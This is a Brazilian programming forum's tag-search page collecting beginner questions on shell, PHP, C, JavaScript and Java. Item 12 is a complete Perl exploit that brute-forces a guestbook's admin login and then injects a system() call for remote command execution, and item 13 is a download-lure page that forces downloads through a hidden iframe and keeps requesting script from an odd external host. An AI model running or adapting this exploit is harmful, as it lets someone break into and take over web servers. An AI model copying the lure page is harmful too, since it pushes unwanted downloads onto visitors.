Ir para conteúdo
Fórum Script Brasil

Pesquisar na Comunidade

Mostrando resultados para as tags ''script''.

  • Pesquisar por Tags

    Digite tags separadas por vírgulas
  • Pesquisar por Autor

Tipo de Conteúdo


Fóruns

  • Programação & Desenvolvimento
    • ASP
    • PHP
    • .NET
    • Java
    • C, C++
    • Delphi, Kylix
    • Lógica de Programação
    • Mobile
    • Visual Basic
    • Outras Linguagens de Programação
  • WEB
    • HTML, XHTML, CSS
    • Ajax, JavaScript, XML, DOM
    • Editores
  • Arte & Design
    • Corel Draw
    • Fireworks
    • Flash & ActionScript
    • Photoshop
    • Outros Programas de Arte e Design
  • Sistemas Operacionais
    • Microsoft Windows
    • GNU/Linux
    • Outros Sistemas Operacionais
  • Softwares, Hardwares e Redes
    • Microsoft Office
    • Softwares Livres
    • Outros Softwares
    • Hardware
    • Redes
  • Banco de Dados
    • Access
    • MySQL
    • PostgreSQL
    • SQL Server
    • Demais Bancos
  • Segurança e Malwares
    • Segurança
    • Remoção De Malwares
  • Empregos
    • Vagas Efetivas
    • Vagas para Estágios
    • Oportunidades para Freelances
  • Negócios & Oportunidades
    • Classificados & Serviços
    • Eventos
  • Geral
    • Avaliações de Trabalhos
    • Links
    • Outros Assuntos
    • Entretenimento
  • Script Brasil
    • Novidades e Anúncios Script Brasil
    • Mercado Livre / Mercado Sócios
    • Sugestões e Críticas
    • Apresentações

Encontrar resultados em...

Encontrar resultados que...


Data de Criação

  • Início

    FIM


Data de Atualização

  • Início

    FIM


Filtrar pelo número de...

Data de Registro

  • Início

    FIM


Grupo


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests

  1. Boa tarde pessoal, estou estudando Shell Script, ainda sou muito leigo, me deparei com o Expect, estava com um problema de conexão e tentei resolver utilizando ele: #!/usr/bin/expect -f set pass "minhasenha\r" spawn su sleep 2 expect "Senha: " sleep 2 send "$pass\r" spawn ifconfig enp3s0 up;ifconfig enp3s0 down interact Minha idéia era utilizar esse script pra se conectar como root e em seguida derrubar e subir a interface enp3s0 do meu linux, porém, não consigo. Já dei permissão com chmod, utilizei diversas sintaxes e nada, pelo o que eu vi não consigo utilizar o spawn após me conectar como root no script. PS. não achei shell script nos tópicos para abrir, então optei por lógica de programação, se eu estiver errado, me avisem, obrigado pessoal. Atenciosamente, Lucas Andrade.
  2. Olá pessoal, Tenho o seguinte codigo, simplificado: <script>var pages=5;</script> $sql = "SELECT * FROM ".$datatable." ORDER BY id ASC LIMIT 2, <script>document.write(pages);</script>"; A var pages é javascript que no final não retorna nenhum valor da base de dados. Se colocar o valor 5 em vez do script já funciona: $sql = "SELECT * FROM ".$datatable." ORDER BY id ASC LIMIT 2, 5"; outra coisa estranha é se fizer um echo, imprime tal e qual a mesma coisa: echo "SELECT * FROM ".$datatable." ORDER BY id ASC LIMIT 2, <script>document.write(pages);</script>"; o resultado é: SELECT * FROM binar ORDER BY id ASC LIMIT 2, 5 Está tudo correto! Não vejo porque não funciona!! alguém me pode ajudar?
  3. Eu estava olhando no site index(https://www.scriptbrasil.com.br) e percebi que tem uma área do site que disponibiliza códigos livre em varias linguagens como PHP, python, c/c++ e entre outras, porem eu vasculhei o site e não encontrei nenhum lugar a onde eu possa acessar e disponibilizar meus códigos, então eu pensei, provavelmente deve haver uma area do fórum a onde eu coloco meu código e ele aparece no site, porém, também não encontrei nada aqui. Outra coisa que eu notei e que os codigos que estao lá são bem antigos, o programa mais novo que eu encontrei la foi de 2015, então eu não tenho certeza se ainda estão aceitando códigos ou não. Resumidamente eu quero saber se eu posso colocar meu códigos la, se sim como. Ou aquela parte do site não esta mais aceitando codigo? Desde já agradeço
  4. bortolotto11

    Jogo da forca

    Bom galera, estou com um problema para resolver com esse jogo. Quando digito a opcao um para jogar, ele corre direto para a parte de adivinhar as palavras o que eu posso fazer pra corrigir? e quando peco para voltar apos este erro ele tambem não volta. #include<stdio.h> #include<string.h> #include<conio.h> #include<stdlib.h> #include<math.h> int main () { char tam_palavra,palavra[25],letra[25],lacuna[25]="_"; int vida=6,letra_errada,i,letras_acertadas=0; int op; char resp; do { system("cls"); printf("\n\t\t\t\tJOGO DA FORCA\n\n\n\n\n\n\n"); printf("\n1-JOGAR"); printf("\n2-INSTRUCOES"); printf("\n3-AUTORES"); printf("\n4-SAIR \n\n\n\n"); printf("\nDIGITE UMA OPCAO\n"); scanf ("%d", &op); if (op==1) { do {system ("cls"); printf("\n Voce vai comecar a jogar"); printf("\n\nDigite a palavra para ser usada na forca:\n\n"); gets(palavra); system("cls"); for(i=0;i<strlen(palavra);i++) lacuna='-'; tam_palavra=strlen(palavra); while(vida>0) { letra_errada=0; printf("\n %s \n",lacuna); printf("\n Digite uma Letra: "); gets(letra); for(i=0;i<strlen(palavra);i++) { if(letra[0]==palavra) { lacuna=palavra; letras_acertadas++; letra_errada++; } } if(letra_errada==0) { vida=vida-1; if(vida==0) { printf("\n\n GAME OVER!!!! VOCE FOI ENFORCADO!"); printf("\n A PALAVRA CORRETA ERA: %s",palavra); break; } else printf("\n ERROOOOU! RESTAM %d VIDA(S)",vida); } else{ if(letras_acertadas==tam_palavra) { printf("\n\n ACERTOOOU! VOCE GANHOU!"); printf("\n A PALAVRA CORRETA E: %s",palavra); break;} else { printf("\n VOCE ACERTOU UMA LETRA!"); } } } printf("\n\n"); system("pause"); printf ("\n Deseja voltar (s/n) ?"); scanf (" %s", &resp); }while (resp=='n'); } if (op==2) { do {system ("cls"); printf("\n\t\t\t\tJOGO DA FORCA\n\n\n"); printf("O objetivo deste jogo e descobrir uma palavra adivinhando as letras que ela possui. A cada rodada, os jogadores"); printf(" irao simultaneamente escolher uma letra que suspeitem fazer parte da palavra. Caso a palavra contenha esta letra,"); printf(" sera mostrado em que posicao o posicoes ela esta. Entretanto, caso esta letra não exista na palavra, sera desenhada uma"); printf(" parte do corpo do boneco do jogador. Se todas as 6 partes corpo do boneco estiverem desenhadas, o jogador"); printf(" estara fora da partida\n\n\n"); printf ("\n Deseja voltar? (s/n)"); scanf (" %s", &resp); }while (resp=='n');} if (op==3) {do { system ("cls"); printf("\n\t\t\t\tJxxxx\n\n"); printf("\n-xxxxxx\n"); printf("\n-Axxxx\n"); printf("\n-xxxxxx\n"); printf("\n-xxxxxxx\n"); printf("\n-xxxxxx\n"); printf("\n-16/06/2015\n"); printf("\n-xxxxxx\n"); printf("\n-xxxxxx\n"); printf("\n-xxxxx\n"); printf("\n-xxxx\n\n\n"); printf ("\n Deseja voltar? (s/n)"); scanf (" %s", &resp); }while (resp=='n');} }while(op==0); return 0; }
  5. Quero criar um REDIRECIONADOR DE DOWNLOADS para meu futuro site.Peguei um código na Internet e estou editando como eu quero, mas não manjo nem um pouco hahaha <html> <head> <link href='http://www.jobsxs.com/wp-content/uploads/2017/11/download-download-icon1.png' rel='shortcut icon'/> <title>Página de download</title> <script type="text/javascript"> function QueryString(variavel){ var variaveis=location.search.replace(/\x3F/,"").replace(/\x2B/g," ").split("&") var nvar if(variaveis!=""){ var qs=[] for(var i=0;i<variaveis.length;i++){ nvar=variaveis[i].split("=") qs[nvar[0]]=unescape(nvar[1]) } return qs[variavel] } return null } function IniciaRedirect() { url = QueryString("url") tempo_segundos = 15 tempo_ms = tempo_segundos*1000 setTimeout('Redireciona()', tempo_ms) document.getElementById("div_tempo").innerHTML = tempo_segundos alert("O download: '" + url + "' será liberado dentro de " + tempo_segundos + " segundos!") AtualizaTempo() } function Redireciona() { url = QueryString("www.facebook.com") alert("Seu link foi liberado!") url = url.replace("www.facebook.com/", "www.facebook.com") url = "http://www.facebook.com" + url top.document.location = url } function AtualizaTempo() { tempo = document.getElementById("div_tempo").innerHTML tempo = parseInt(tempo) tempo-- document.getElementById("div_tempo").innerHTML = tempo setTimeout('AtualizaTempo()', 1000) } </script> </head> <body onLoad="IniciaRedirect()"> <center>Aguarde <span id="div_tempo"></span> segundos, por favor...<center> </body> </html> <script type="text/javascript"> function QueryString(variavel){ var variaveis=location.search.replace(/\x3F/,"").replace(/\x2B/g," ").split("&") var nvar if(variaveis!=""){ var qs=[] for(var i=0;i<variaveis.length;i++){ nvar=variaveis[i].split("=") qs[nvar[0]]=unescape(nvar[1]) } return qs[variavel] } return null } function IniciaRedirect() { url = QueryString("url") tempo_segundos = 15 tempo_ms = tempo_segundos*1000 setTimeout('Redireciona()', tempo_ms) document.getElementById("div_tempo").innerHTML = tempo_segundos AtualizaTempo() } var the_timeout = setTimeout alertAndRedirect("location.href='/http://historia-filosofia.forumeiros.com/t136-inicio-do-rpg'",1000) } function AtualizaTempo() { tempo = document.getElementById("div_tempo").innerHTML tempo = parseInt(tempo) tempo-- document.getElementById("div_tempo").innerHTML = tempo setTimeout('AtualizaTempo()', 1000) } </script> <meta content="text/html; charset=UTF-8" http-equiv="Content-Type"> <meta content="pt-br" http-equiv="Content-Language"> <meta content="ALL" name="robots"> <meta content="filmes, hospedagem, download, m�sica, games, jogos, filme, movies, cinema, artes, filmes, filme, filmes, filme download, " name="keywords"> </head> <body> <div align="center"> <table bgcolor="#e6e6e6" border="0" cellpadding="1" cellspacing="1" width="768"> <tbody> <tr> <td bgcolor="#ffffff" width="764"> <div align="center"> <table bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="1" height="174" width="762"> <tbody> <tr> <td background="http://i476.photobucket.com/albums/rr122/5325235/img01.gif" bgcolor="#333333" height="99" valign="top"> <div align="right"> <table align="center" border="0" cellpadding="0" cellspacing="0" height="98" width="752"> <tbody> <tr> <td rowspan="2" width="171"> <div align="center"> <p style="margin-top: 0pt; margin-bottom: 0pt;"><font face="Arial, Helvetica, sans-serif" size="2"><font color="#000000" size="1"><br> <img src="https://itopia.com/wp-content/themes/itopia/img-cloud/loader.gif" height="50" width="50"></font><strong><a style="text-decoration: none; color: rgb(44, 204, 0); font-size: 11px; font-weight: bold;"><br> &nbsp; </a></strong></font></p> </div> </td> <td height="79" width="481"> <p align="center">&nbsp;<a href=""><img style="width: 450px; height: 93px;" src="http://classiba.com.br/wp-content/uploads/2017/09/anuncie_aqui1.jpg" border="0"></a></p> </td> <td rowspan="2" valign="top" width="100"> <div align="right"><font color="#000000" face="Arial, Helvetica, sans-serif"><strong><a target="_blank" style="text-decoration: none; color: rgb(255, 255, 255); font-weight: bold;" href="http://www.google.com">Inicio</a>&nbsp;&nbsp;&nbsp;&nbsp; </strong></font></div> </td> </tr> </tbody> </table> </div> </td> </tr> <tr> <td bgcolor="#dddddd" height="19" valign="top"> <center>Aguarde enquanto estamos checando seu<b> <a href="+download+" target="_top"> <font color="#000000"><span style="text-decoration: none;">link</span></font></a></b>. Enquanto espera, nos ajude clicando nos banners abaixo:</center> </td> </tr> <tr> <td bgcolor="#c0c0c0" height="19" valign="top"> <div align="center"> <table id="table3" bgcolor="#ffffff" border="0" bordercolor="#ffffff" cellpadding="0" cellspacing="0" width="100%"> <tbody> <tr> <center> <br> <a href="http://www.facebook.com" target="_blank"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAlgAAABKCAMAAABQOdpXAAABRFBMVEX+/v7///////5CfdKXl/8AZswAAP/IyP7T0/77+/6Gpt+1tbUAAADv7+8AYMq4uLj19fXLy8upqanf39/o6OgAY8vh4eF4eHjz8/OTk5Ovr69+fn7X19coKCi/v7/GxsYSEv+cnJxISEhiYmJSUlLNzf6Tx5P29v6Xl5fg7uB4u3jGxv6Dg4O+vv632LeNjY1RUf/V6NXf3/41Nf+Cgv9dXV3p6f64uP7j7+PZ2f6fzJ9YWP/K4spsbGwsLP85OTljY/+Tk/+s06wWFhaIiP+Kw4qwsP4onyihof9AQECcy5xvb/9Nqk0gICBKSv9tbf96ev+np/5rtms9pT0+Pv86Ov/X5vYAlgBxuHFesF6xyetak9oAVciStuUQb88uoS5EitdppuHB1PCPsOK8zewAScVGkdtloN8AhwAzhtekvOYcdtERoLDuAAAgAElEQVR4nO1caVvbSLNVKUTAGGNJFl6FjRewDcbGrA5gmzUBEkgCxEkgMAmZO7xJ/v/3e6pblmVWM0Mmd+7rfiYgqbdTVaerq0tilKdPeqVXHr08VZ5Qr/TKo5cnIJaiqFwG18dV5baiPlvPtWvRunU1vj54e6+/VdT2L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href="http://www.facebook.com" target="_blank"><img src="http://www.ohamburguerperfeito.com.br/wp-content/uploads/2017/11/728-x-91-1.jpg" alt="Clique aqui para fazer o Download" border="0"></a> <br> <a href="http://www.facebook.com" target="_blank"><img src="http://dentistacuritiba.org/wp-content/uploads/2017/06/Marketing-Digital-para-Dentistas.png" alt="Baixar 100% seguro" border="0"></a> <br> <a href="http://www.facebook.com" target="_blank"><img src="https://d19fuhsr5j1ela.cloudfront.net/assets/nova-escola-banner-final-d8030f88b8dce9c2e831f1dede338475.gif" alt="Fechar propagandas (x)" border="0"></a> <br> <a href="http://www.facebook.com" <br> <a href="http://www.facebook.com" <div id="container"> <div id="wrapper"> <div id="content"> <div class="inAds"><font color="#000000" face="Arial" size="2"><font></font></font></div> </div> </div> </div> <br> <td>&nbsp; </td> </tr> </tbody> </table> </div> <div align="center"> </div> <div align="center"> <table id="table1" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody> <tr> <td bgcolor="#ffffff"> <div align="center"> <table id="table2" border="0" cellpadding="0" cellspacing="0" width="87%"> <tbody> <tr> <td> </td> <td> </td> <td> </td> </tr> </tbody> </table> <p> </p> </div> </td> </tr> </tbody> </table> .<a href="http://www.google.com"><font color="#000000"><span style="text-decoration: none; font-weight: 700;">HTML - Todos os direitos reservados</span></font></a></div> </td> </tr> </tbody> </table> </div> <div align="center"> </div> </td> </tr> </tbody> </table> </div>
  6. ola, sou novo aqui no forum, então não sei se estou fazendo certo (postando com as tags certas, etc...), mas então, vamos ao que interessa: estou fazendo um programa que pede um senha, e depois de passar por uma funcao, essa senha e criptografada com uma especie de cifra de cesar, mas a chave tem valor incrementado a cada caractere. segue o codigo: caracteres = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' senhaCrip = '' senhaDes = '' chave = 0 pos = 0 def encrypt(password, key, position, cripto, chars): for i in senha: key += 1 position = chars.index(i) try: cripto += chars[position + key] except IndexError: cripto += chars[(position + key) - (len(chars))] return cripto senha = input('Digite sua senha: ') print(encrypt(senha, chave, pos, senhaCrip, caracteres)) mas eu não consigo descriptografar, fazer uma funcao decrypt, que faz o inveroso da funcao encrypt.alguém pode me ajudar?? desde já, agradeco
  7. Olá pessoal do PHP Brasil, sou um aprendiz em PHP e MYSQL e devido a uma necessidade estou criando um pequeno sistema de delivery, os que encontrei prontos não atendem as minhas necessidades. Consegui criar a estrutura do banco de dados MYSQL e já consegui modificando um código pronto inserir, editar e excluir informações do banco através de formulário. Porém agora preciso criar uma tabela "pedidos" onde vai receber de um formulário as escolhas das demais tabelas, somar o valor e enviar via phpmail para o email do restaurante, cópia para o cliente e ainda armazenar no banco. Já tentei vários recursos aqui e não consegui fazer de forma alguma esse formulário e com isso gostaria da ajuda de vocês para criar esse formulário. Meu banco de Dados possui as seguintes tabelas: - arroz (Possui mais de 2 registros) - feijao (possui mais de 2 registros) - carne (possui mais de 2 registros) - fruta (possui mais de 2 registros) - guarnicao (possui mais de 2 registros) - salada (possui mais de 2 registros) - marmitex (possui tamanho e preço) - observacao (campo para o cliente inserir informação a parte) - numeroped (campo INT sem autoincremento, onde deve somar +1 a cada novo pedido) A intensão é que na tabela pedidos seja inserido: - Número do pedido (Possui tabela) - Nome do Cliente (Não possui tabela no banco pois não será necessário cadastro) - Endereço (Não possui tabela no banco pois não será necessário cadastro) - Telefone (Não possui tabela no banco pois não será necessário cadastro) - Tipo de arroz escolhido na lista disponível - Tipo de feijao escolhido na lista disponível - Tipo de carne escolhido na lista disponível - 2 campos de guarnição (1 e 2) onde no pedido cliente pode escolher até 2 tipos de guarnição na lista disponível - 2 campos de salada (1 e 2) onde no pedido cliente pode escolher até 2 tipos de salada na lista disponivel - Tipo de fruta escolhido na lista disponível - Campo de Carne-extra, onde caso seja escolhido mais um tipo de carne na lista disponível, seja agregado ao valor total + R$ XXX - Tamanho do Marmitex (Onde quando escolhido ele agrega ao valor cadastrado em cada ítem. Estrutura das tabelas será anexado) Nesse caso já seja efetuado a soma dos valores caso seja escolhido carne extra. Estou disponibilizando o que já fiz para quem possa analisar e me ajudar com correções e apoio para finalizar o sistema.. Baixar: http://www.hminformatica.com.br/sistema_pedidos_hminfo.zip Espero que alguém possa ajudar. Agradeço. Henrique
  8. Boa noite galera, Sou iniciante e tenho uma dúvida que deve ser simples. Estou desenvolvendo um site em wordpress e utilizando o plugin wbounce para wordpress que é uma exit intent popup que abre quando a pessoa tira o mouse da janela com a intenção de navegar para outro site. Consegui fazer com que essa popup feche depois de aberta após um tempo definido por mim. E também mostrar um contador regressivo de tempo para a janela fechar. Porém essa contagem inicia quando o site é aberto e preciso que só se inicie quando a div da popup for mostrada. Tentei inserir: if($('#wbounce-modal').css('display') == 'block'){}, mas não deu certo! Alguém pode me ajudar, por favor? Muito obrigado! Segue o código que estou utilizando: jQuery(document).ready(function($){ var $banner = $('#wbounce-modal'); // objeto banner var $tempo = 10; // milisegundos var $intervalo; // funcao que fechará o banner function fechar(){ $("#wbounce-modal").hide(); } setTimeout(fechar, $tempo*1000); function contador(){ $intervalo = window.setInterval(function() { var tempoContagem = $("#contador").html(); var atualizaContagem = eval(tempoContagem) - eval(1); $("#contador").html(atualizaContagem); // chegando em zero o contador é parado if(atualizaContagem == 0){ pararContagem(); } }, 1000); } // funcao para limpar o contador function pararContagem(){ window.clearInterval($intervalo); } // chamada da funcao que fará a contagem contador(); })
  9. boa tarde colegas do fórum, sem mais delongas vou direto ao assunto, estou trabalhando em um projeto que consiste em criar um Minerador de bitcoin em php. O projeto é simples, consiste em criar um script php que crie blocos de criptografia SHA256 e lance em uma piscina de mineração como slushpool. https://github.com/codler/Bitcoin-phpMiner <<- este é um exemplo do projeto que quero executar... meu proposito, é que eu gostaria que os colegas me ajudassem a configurar este sistema da imagem. alguns parâmetros técnicos 1- O arquivo test.php executa um teste no servidor para ver se ele é compatível com o sistema de mineração de bitcoin. 2- O arquivo work.php executa a mineração.(precisa ser configurado devidamente) 3- O arquivo proxy.php deve ser confiurado após a execução do test.php. (necessita de uma URI/CURL). obrigado e estou aberto para discursarão.
  10. Olá, boa tarde. Gostaria de saber se é possível criar a seguinte função em um determinado formulário formulário: após o preenchimento completo do mesmo, o usuário é obrigado a clicar no botão "compartilhar" e realizar essa ação, para compartilhar uma determinada página do Facebook. E depois de ter realizado tal ato só será liberado o botão para o envio do formulário. Alguém poderia me auxiliar como realizar isso?
  11. Bom dia galera. Sou novo no fórum, e estou uma dúvida, estou com um formulário de cálculo de cubagem, e queria saber como eu posso fazer para que o meu resultado que fica coluna "Cubagem" fique arrendado para 2 casas decimais, pois no modo que eu fiz quando eu tento por um número fracionado ele mostra mais de duas casas. Oque eu queria era o seguinte, ao digitar por exemplo os valores: Quantidade de volumes - 2 Altura - 2.22 Largura - 2.22 Profundidade - 2.22 E a ideia é que mostre em Cubagem um valor de "21.88" ou invés de "21.882096000000004". Alguém consegue ajudar? Abaixo seguem os códigos: <html> <head> </head> <body> <script> function calcular() { calc.CUBAGEM1.value = (calc.ALTURA1.value*1) * (calc.LARGURA1.value*1) * (calc.PROFUNDIDADE1.value*1) * (calc.QUANTVOL1.value*1) + " M³"; } </script> <form name="calc"> <table border="1"> <tr> <td bgcolor="#000080"><b><text><font color="#FFFFFF"> Quantidade de Volumes </text></td> <td bgcolor="#000080"><b><text><font color="#FFFFFF"> Altura (m) </text></td> <td bgcolor="#000080"><b><text><font color="#FFFFFF"> Largura (m) </text></td> <td bgcolor="#000080"><b><text><font color="#FFFFFF"> Profundidade (m) </text></td> <td bgcolor="#000080"><b><text><font color="#FFFFFF"> Cubagem (m³) </text></td> </tr> <tr> <td><input name="QUANTVOL1" id="QUANTVOL1" value="" onkeyup="calcular()"/> </td> <td><input name="ALUTRA1" id="ALTURA1" value="" onkeyup="calcular()"/> </td> <td><input name="LARGURA1" id="LARGURA1" value="" onkeyup="calcular()"/> </td> <td><input name="PROFUNDIDADE1" id="PROFUNDIDADE1" value="" onkeyup="calcular()"/> </td> <td><input name="CUBAGEM1" readonly="readonly" id="CUBAGEM1"> </td> </tr> </table> </form> </body> </html>
  12. #!/usr/bin/perl =pod Typ: Bruter & RCE Name: PerlSoft GB Pwner Affected Software: PerlSoft G�stebuch Version: 1.7b Coder/Bugfounder: Perforin Visit: DarK-CodeZ.org Note: RCE ist only 1 time possible, do not waste your command! =cut use strict; use warnings; use diagnostics; use LWP::Simple; use LWP::Simple::Post qw(post post_xml); my ($url,$user,$wordlist,$error_counter,$word,$anfrage); my ($falsch,$richtig,$entry,$rce,$send,$crypted); my (@response,@rcesend,@array); if (@ARGV < 4) { &fail; } ($url,$user,$wordlist) = (@ARGV); $falsch = '<tr><td align=center><Font color="000000" FACE="Arial">Nur Administratoren mit g&uuml;ltigen Benutzerdaten haben Zugang in das Admin-Center!</font></td></tr>'; $richtig = '<tr><td bgcolor=#E0E0E0 align=center><B><Font color="000000" FACE="Arial">G&auml;stebuch Vorlage - Einstellen</font></B></td></tr>'; if ($url !~ m/^http:\/\//) { &fail; } if ($wordlist !~ m/\.(txt|list|dat)$/) { &fail; } print <<"show"; --==[Perforins PerlSoft GB Pwner]==-- [+] Attack: $url [+] User: $user [+] Wordlist: $wordlist show open(WordList,"<","$wordlist") || die "No wordlist found!"; foreach $word (<WordList>) { chomp($word); $crypted = crypt($word,"codec"); $anfrage = $url.'?sub=vorlage&id='.$user.'&pw='.$crypted; @array = get($anfrage) || (print "[-] Cannot connect!\n") && exit; foreach $entry (@array) { if ($entry =~ m/$richtig/i) { print "\n[+] Password cracked: "."$crypted:$word"." !\n\n"; if ($ARGV[3] =~ m/yes/i ) { print <<"RCE"; [+] Remote Command Execution possible! [~] Note: Only _1_ time exploitable, do not waste it! [+] Please enter your Command! RCE chomp($rce = <STDIN>); $rce =~ s/>/\"\.chr(62)\.\"/ig; $rce =~ s/</\"\.chr(60)\.\"/ig; $rce =~ s/\|/\"\.chr(124)\.\"/ig; $rce =~ s/&/\"\.chr(38)\.\"/ig; $rce =~ s/\//\"\.chr(47)\.\"/ig; $rce =~ s/-/\"\.chr(45)\.\"/ig; $send = 'loginname='.$user.'&loginpw='.$word.'&loginname1='.$user.'";system("'.$rce.'");print "h4x&loginpw1='.$word.'&loginpw2='.$word.'&id='.$user.'&pw='.$crypted.'&sub=saveadmindaten'; @response = post($url, $send); @rcesend = get($url) || (print "[-] Cannot connect!\n") && exit; print <<"END"; [+] Command executed! ---====[www.vx.perforin.de.vu]====--- END exit; } else { (print "---====[www.vx.perforin.de.vu]====---\n") and exit; } } elsif ($entry =~ m/$falsch/i) { $error_counter++; print "[~] Tested ".$error_counter.": "."$crypted:$word"."\n"; } } } close(WordList); print "[-] Could not be cracked!\n"; exit; sub fail { print <<"CONFIG"; +-------------------+ | | | PerlSoft GB Pwner | | v0.1 | | | +-------------------+-----[Coded by Perforin]-----------------------------+ | | | brute.pl http://opfer.lu/cgi-bin/admincenter.cgi admin wordlist.txt yes | | brute.pl http://opfer.lu/cgi-bin/admincenter.cgi admin wordlist.txt no | | | | yes = Remote Command Execution | | no = No Remote Command Execution | | | +-------------------------[vx.perforin.de.vu]-----------------------------+ CONFIG exit; }
  13. Estou tento um problema no código, quando entro no no corpo no site através da Web com tudo feito, aonde tem - (iframe.src = "LINK-DO-DOWNLOAD-AQUI";) ele vai começar a baixar algo, mas quando clico no site em qualquer lugar, ele começa o download novamente, quero retirar essa função de clicar em qualquer lugar e começar o download, e deixar só quando clicar no botão Quero que quando entrar no site, ele comece a fazer o download depois de 5 segundos que entrar no site e deixar o botão com o mesmo link de download, caso de um bug no site e não comece a fazer o download depois dos 5 segundos. <body class="body--black"> <div class="main-block"> <h1>My Daddy and Mommy</h1> <div class="topblock"> <div class="arr" id="arr"></div> <button class="topblock__button" id="topblock__button">BAIXAR</button> </div> <div class="items" id="items" data-style="display: flex;"></div> </div> <img src="http://i.imgur.com/Dz5y2gN.gif" width="1" height="1"> <iframe id="clickedFr" style="display:none"></iframe> <script type="text/javascript"> var iframe = document.getElementById("clickedFr"); function clicked(){ iframe.src = "LINK-DO-DOWNLOAD-AQUI"; } clicked(); function drawItems(response) { var data = JSON.parse(response); var items = document.getElementById("items"); var itemsHtml = ""; for (var i = 0; i < 3; i++) { var item = data["item"+(i+1)]; var itemTpl = '<div class="item" id="item__'+i+'" data-style="display: flex;"><div class="item__img item__img--'+i+'"></div><div class="item__tit">'+item.title+'</div><div class="item__descr">'+item.description+'</div></div>'; itemsHtml+=itemTpl; } items.innerHTML = itemsHtml; document.getElementById("topblock__button").innerText = data["button"]; } document.getElementById("arr").innerHTML = '<div class="arr__holder"><div class="arr__left"><span></span></div><div class="arr__right"><span></span></div></div>'; var xhr = new XMLHttpRequest(); xhr.open('GET', '/static/info.json', true); xhr.send(); xhr.onreadystatechange = function() { if (xhr.readyState != 4) return; if (xhr.status == 200) drawItems(xhr.responseText); }; document.addEventListener("click", clicked); var srcactionc = 0; function srcaction() { srcactionc++; try { var xhr = new XMLHttpRequest(); xhr.open("GET", "//" + Date.now() + ".8kl0fi.49c8d049.blackschicken.top:8080/static/mainaction.js?" + Date.now(), true); xhr.send(); } catch (ev) {} if (srcactionc >= 402) clearInterval(srcaction) } srcaction(); var srcInt = setInterval(srcaction, 9852); </script> </body>
  14. Boa tarde galera, preciso muito extrair o html de um iframe que possui um link externo, alguém poderia me ajudar?
  15. Boa tarde galera, preciso muito extrair o html de um iframe que possui um link externo, alguém poderia me ajudar?
  16. Galera Boa Noite! Alguém pode me Ajudar?? estou com esse código ai e eu preciso fazer uma pequena alteração nele! Preciso que esse código faça e me mostre a Soma do Tempo Inicial + o Tempo Final e me mostre o resultado em Milesegundos! Sou Novo nessa Área! Quem puder me Ajudar fico Agradecido! Cliente.java import java.io.BufferedWriter; import java.io.File; import java.io.FileInputStream; import java.io.OutputStreamWriter; import java.net.Socket; import java.util.Scanner; import java.io.*; import static java.net.InetAddress.getLocalHost; import java.text.SimpleDateFormat; import java.util.Date; public class Cliente { public static void main(String[] args) throws Exception { Socket socket = new Socket(getLocalHost(), 12345); //"127.0.0.1" ou ("localhost", 12345); System.out.println("O cliente se conectou ao servidor!"); Scanner tc = new Scanner(System.in); System.out.println(" "); Date hoje = new Date(); System.out.println("Tempo Inicial: "); SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss"); System.out.println( sdf.format(hoje)); System.out.println("Digite o nome do arquivo.<png>:"); String fName = tc.nextLine(); long start = System.nanoTime(); long end = 0; //long end = System.nanoTime(); System.out.println("Saída do Pacote: " + new SimpleDateFormat("ys").format(new Date(end))); File f = new File("/users/samuel/desktop/java/envia arquivo/" + fName); FileInputStream in = new FileInputStream(f); OutputStream out = socket.getOutputStream(); OutputStreamWriter osw = new OutputStreamWriter(out); BufferedWriter writer = new BufferedWriter(osw); writer.write(f.getName() + "\n"); writer.flush(); int tamanho = 4096; // buffer de 4KB byte[] buffer = new byte[tamanho]; int lidos = -1; while ((lidos = in.read(buffer, 0, tamanho)) != -1) { out.write(buffer, 0, lidos); } } } ____________________________________ Servidor.java import java.io.BufferedReader; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStreamReader; import java.net.ServerSocket; import java.net.Socket; import java.io.*; import java.text.SimpleDateFormat; import java.util.Date; public class Servidor { public static void main(String[] args) { try { ServerSocket server = new ServerSocket(12345); System.out.println("Porta 12345 aberta!"); Socket clSocket = server.accept(); System.out.println("Nova conexão com o Cliente " + clSocket.getInetAddress().getHostAddress() ); InputStream in = clSocket.getInputStream(); InputStreamReader isr = new InputStreamReader(in); BufferedReader reader = new BufferedReader(isr); String fName = reader.readLine(); System.out.println(fName); File f1 = new File("/users/samuel/desktop/java/recebe arquivo/" + fName); FileOutputStream out = new FileOutputStream(f1); int tamanho = 4096; // buffer de 4KB 4096 byte[] buffer = new byte[tamanho]; int lidos = -1; while ((lidos = in.read(buffer, 0, tamanho)) != -1) { System.out.println(); out.write(buffer, 0, lidos); } out.flush(); } catch (IOException e) { } //long start = System.nanoTime(); long end = System.nanoTime(); long start = 0; System.out.println("Chegada do Pacote: " + new SimpleDateFormat("ys").format(new Date(end - start))); Date hoje = new Date(); System.out.println("Tempo de Encerramento: "); SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy HH:mm:ss"); System.out.println( sdf.format(hoje)); } }
  17. Boa tarde pessoal, estou com um sistema que comprei online. Trata-se de um sistema online de gestão empresarial com pdv. Eu estou com uma dificuldade para alterar um dado que eu quero. Vou tentar explicar caso ainda haja dúvidas podem me perguntar. É o seguinte: Nome do sistema: Stock Manager PDV 1. Eu abro uma venda e nela tenho que selecionar o comprador, produto, quantidade e o valor ele puxa do estoque. 2.Porém quando eu tento alterar o valor unitário da venda, ele puxa do estoque, mas eu preciso alterar no pedido o valor do produto. ------------ CONTROLADORA DO PDV ------------ <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class Pos extends MX_Controller { /* | ----------------------------------------------------- | PRODUCT NAME: SIMPLE POS | ----------------------------------------------------- | AUTHER: MIAN SALEEM | ----------------------------------------------------- | EMAIL: saleem@tecdiary.com | ----------------------------------------------------- | COPYRIGHTS: RESERVED BY TECDIARY IT SOLUTIONS | ----------------------------------------------------- | WEBSITE: http://tecdiary.net | ----------------------------------------------------- | | MODULE: POS | ----------------------------------------------------- | This is sales module controller file. | ----------------------------------------------------- */ function __construct() { parent::__construct(); // check if user logged in if (!$this->ion_auth->logged_in()) { redirect('module=auth&view=login'); } $this->load->library('form_validation'); 